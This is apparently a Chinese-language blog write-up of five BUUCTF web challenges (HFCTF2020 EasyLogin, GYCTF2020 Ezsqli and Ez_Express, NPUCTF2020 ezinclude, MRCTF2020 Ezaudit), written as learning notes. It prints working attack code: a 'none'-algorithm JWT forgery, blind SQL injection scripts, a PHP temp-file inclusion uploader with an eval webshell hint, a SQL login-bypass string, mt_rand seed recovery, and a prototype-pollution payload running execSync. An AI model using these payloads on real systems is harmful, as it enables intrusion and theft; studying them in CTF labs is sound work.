buuctf写题之旅2
[HFCTF2020]EasyLogin 1
涉及知识点:
1、js代码审计
2、jwt伪造
解题思路:
进入靶场我们会看到一个登录框,观察到URL的login没有php后缀,初步推断应该是js框架,可能到后面如果有代码审计时,要找js文件。
有登录框,第一时间想到的是SQL注入,不过没有什么结果。
查看代码源,找了一个app.js文件。
代码如下:
/** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */ function login() { const username = $("#username").val(); const password = $("#password").val(); const token = sessionStorage.getItem("token"); $.post("/api/login", {username, password, authorization:token}) .done(function(data) { const {status} = data; if(status) { document.location = "/home"; } }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function register() { const username = $("#username").val(); const password = $("#password").val(); $.post("/api/register", {username, password}) .done(function(data) { const { token } = data; sessionStorage.setItem('token', token); document.location = "/login"; }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function logout() { $.get('/api/logout').done(function(data) { const {status} = data; if(status) { document.location = '/login'; } }); } function getflag() { $.get('/api/flag').done(function(data) { const {flag} = data; $("#username").val(flag); }).fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
审计后发现没有什么有用的配置,但是有个注释,提示是koa-static。没有遇见过,通过百度知道koa是一个web框架。
再去百度找一下koa框架的基本结构,查找后看到有用信息。
这里可以了解到/controllers/app.js这个文件是处理逻辑的,可以看一下。
const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); //注册不能以admin,结合上面说是,我们只能是伪造admin } if(global.secrets.length > 100000) { global.secrets = []; } const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); //jwt令牌 ctx.rest({ token: token }); await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag': async (ctx, next) => { //如果不是admin的话无法读取flag if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
审计上面的代码,我们知道我们要伪造admin登录。首先我们要知道登录时需要的一些条件,我们先随便注册一个账户,观察登录的过程。
首先随便注册一个账户,并抓包观察。
可以去 https://www.box3.cn/tools/jwt.html 解码:
我们用python去伪造一个我们需要的jwt到后面会用到:
(我的注释挺重要,好好看)
import jwt #需要下载,pip3 install PyJWT token = jwt.encode( { "secretid": [], #让"secretid"为空,他的加密算法就为空,所以那个加密就废了,也算是绕过jwt的一种方式 "username": "admin", #伪造对象 "password": "123123", "iat": 1620692731 #对应自己解码出来的iat }, algorithm = "none", key="") print(token)
#运行结果:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzEyMyIsImlhdCI6MTYyMDY5MjczMX0.
继续看一下登录的框:
登录后进去的界面(这里可以在浏览器里用自己随便注册的账户来进入),然后抓包:
[GYCTF2020]Ezsqli 1
知识点:
1、SQL注入(盲注)
2、无列表注入
解题思路:
用bp进行fuzz,检验被过滤了多少字符。
发现or被过滤了,于是information_schema.tables等被过滤掉了。所以要无列表名注入。
对其进行测试:2 || 1=1 (试过1|| 1=1,和1 || 1=2,返回的值相同)
写个脚本判断表名:
import requests url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/' payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}' result = '' for j in range(1,500): for i in range(32, 127): py = payload.format(j,i) post_data = {'id': py} re = requests.post(url, data=post_data) if 'Nu1L' in re.text: result += chr(i) print(result) break
#运行结果:users23333333333,f1ag_1s_h3r3_hhhhh
实现无列表注入:
这里用到了ascii位偏移,关于ascii偏移的利用,可以看下面的例子
在这里插入图片描述
可以看到比较两个字符串的大小与字符串的长度是没有关系的,给定两个字符串,会各取两个字符串的首字符ascii码来比较,
不等式成立返回1,不等式不成立返回0,换一个角度来说,只会比较一次,也就是首字符
这道题我们利用的就是这个特性,我们首先会从构造一个ascii从32到128的循环,与flag字符一一对比,满足条件返回Nu1L,输出符合条件的ascii对应的字符,也就是找到了flag的第一个字符,以此类推,直到输出所有的flag
脚本:
import requests url = 'http://357b4d71-82c5-41a0-b80d-53715e01e819.node3.buuoj.cn/' def add(flag): res = '' res += flag return res flag = '' for i in range(1,200): for char in range(32, 127): hexchar = add(flag + chr(char)) payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar) #print(payload) data = {'id':payload} r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr(char-1) print(flag.lower) break
[NPUCTF2020]ezinclude 1
知识点:
php临时文件包含
解题思路:
进到靶机看见提示:username/password error,再无其他信息。下意识查看代码源,发现注释:
不知道要传什么参数,用什么方式传呀,用bp抓包和目录扫描,以便寻找更多的信息。在bp中发现hash值,并用
secret、name和pass分别尝试传递hash的值
可以发现用?pass=fa25e54758d5d5c1927781a6ede89f8a时页面会跳转到404.html
用bp来来发送请求,并拦截,发现文件flflflflag.php
访问后知道是可以用file传递参数进行文件包含。
用伪协议分别读取index.php、flflflflag.php,得到一些感觉没有什么价值的东西。
php://filter/read=convert.base64-encode/resource=
看一下wp,发现这里考查的点是php临时文件包含。
这是PHP7.0版本存在的一个漏洞,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,
那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
playload:?file=php://filter/string.strip_tags/resource=/etc/passwd
脚本: import requests from io import BytesIO payload = "<?php phpinfo()?>" //或者一句话:<?php eval($_POST[cmd])?> file_data = { 'file': BytesIO(payload.encode()) } url = "http://f826718b-3199-4ca9-b7fb-8f24231a301b.node3.buuoj.cn/flflflflag.php?"\ +"file=php://filter/string.strip_tags/resource=/etc/passwd" r = requests.post(url=url, files=file_data, allow_redirects=False)
用脚本跑了一下后,去访问dir.php,这里有我们上次的文件名
接着包含/tmp/phpZNhB5P(用bp访问),flag在phpinfo里面
http://f826718b-3199-4ca9-b7fb-8f24231a301b.node3.buuoj.cn/flflflflag.php?file=/tmp/phpdUwXoU
本题参考:
https://www.cnblogs.com/tr1ple/p/11301743.html
https://a16n.github.io/2020/11/06/NPUCTF2020-ezinclude/
[MRCTF2020]Ezaudit
知识点:
1、代码审计
2、伪随机数,mt_srand()
解题思路
打开题目,没有查到什么提示,扫一下目录发现是源码泄露 /www.zip
下载后有个index.php文件:
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看见这里有个login.php文件,访问可以看到有个登录框,在代码审计中:
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
可以知道username是crispr,密码是不知道的,但是这个的password没有进行任何过滤 ,可以用万能密码来登录:
1' or '1' ='1
最后就差找到Private_key,看下面的代码,发现像是在写密码学的题目一样。可以知道的是下面是一个加密与解密的过程,不过我没有接触过
查看wp后知道这个是关于mt_rand()函数的一个漏洞,这里有关于这个mt_rand的介绍:https://blog.csdn.net/weixin_34255793/article/details/92713300
看到mt_rand(),php伪随机数,伪随机数的话我们就可以得到它的种子,在代码的末尾给出了一段公钥,那么我们就可以根据这个公钥推算出种子,然后把私钥整出来。
先要把公钥转换成php_mt_seed可识别的参数:
str1 ='KVQP0LdJKRaV3n9D' str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" res ='' length = str(len(str2)-1) for i in range(len(str1)): for j in range(len(str2)): if str1[i] == str2[j]: res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' ' break print(res)
#结果为:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用工具php_mt_seed来爆破种子,下载地址:Search · php_mt_seed-4.0 (github.com)
爆破结果得到:1775196155 (看到别人用的工具是有标注有php的使用版本,而我这里却没有,可能我自己找的工具版本太落后吧)
然后就可以再写一个解码的脚本了,脚本对应的php版本是要PHP 5.2.1 to 7.0.x,我这里是用5.3.27
<?php highlight_file(__FILE__); mt_srand(1775196155); $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < 16; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); echo $public_key. "<br>"; $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < 12; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); echo "private_key:"; echo $private_key; ?>
用密钥登录login.php
本题参考:
https://blog.csdn.net/weixin_34255793/article/details/92713300
https://www.cnblogs.com/zaqzzz/p/9997855.html
https://blog.csdn.net/Youth____/article/details/113618623
[GYCTF2020]Ez_Express
知识点:
1、js原型链(新学知识)
2、ssti注入
3、toUpperCase()绕过
初学原型链:
在 Javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
在 Javascript,每一个实例对象都有一个__proto__属性,这个实例属性 指向对象的原型对象(即原型)。
可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"] objectname.__proto__ objectname.constructor.prototype
function Test(){ //创建一个构造函数 this.age = "age" } test1 = new Test() //将这个构造函数实体化,每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype console.log(test1.__proto__ == Test.prototype) //结果是true //下面说明原型链的污染 test2 = new Test() //再实体化 console.log(test1.b) //结果为undefined,所以test.b是没有值的 test2.__proto__.b = "aaa" console.log(test2.__proto__.b) //这个结果是aaa没什么好说 console.log(test1.b) //这个结果也是aaa,证明被污染
//实际上JavaScript引擎会进行如下操作: // 1.在对象test1中寻找b // 2.找不到,在test1.__proto__中寻找b(这里的test1.__proto__同样指向Test的原型prototype) // 3.如果仍然找不到,则继续在test1.__proto__.__proto__中寻找b // 4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
原型链污染原理分析:
如果一个对象的键名和值我们是可控的,那么我们就可以对其进行污染
obj[a][b] = value
obj[a][b][c] = value
其中merge() 和 clone() 这两个函数是常见引发原型链污染的。
先来看一下merge()函数的构造:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
如果用merge将两个对象合并为一个对象时,直接进行只能是达到合并的目的,没有达到污染的目的,因为,我们用JavaScript创建o2的过程(let obj2 = {a: 1, “proto”: {b: 2}})中,
__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。
正确的污染方式是将对象转化为一组JSON数据,因为JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历obj4的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题
解题过程
打开靶机:
得到的信息是要用大写的ADMIN登录。
试着去注册,和用其他用户名登录,通常也会找到一些有用的信息,注册后在代码源那里发现有个www.zip的文件提示,先下载
下载后找到app.js和index.js这两个比较有用的文件,先来审计找到解决如果用ADMIN来登录的问题。找到这个函数:
怎么来绕过这个正则呢,可以看到这里是用了toUpperCase()函数,这个函数存在着一个漏洞,可以用特殊字符“ı"、"ſ"代替“i”和“s”
所以我们用ADMıN登录就可以了。
在index.js中找到认为是要用到原型链的代码:
const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
再找一下clone()在哪里被调用的,发现是在登录后的“/action”下才调用的,用上面的方法登录
然后再找一下污染的点在哪
在这两行代码中可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的,这里就可以用上了
我们上面学习的原型链污染,加上这里用到了render()函数,说明可以利用ssti来命令执行。
先用burpsuite抓一下/action的包,然后将Content-Type的数据改为application/json,然后写入playload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
然后访问 /info,下载info文件
--------------------------------------------------------------------------------------持续更新------------------------------------------------------------------------------------------------------------------------------------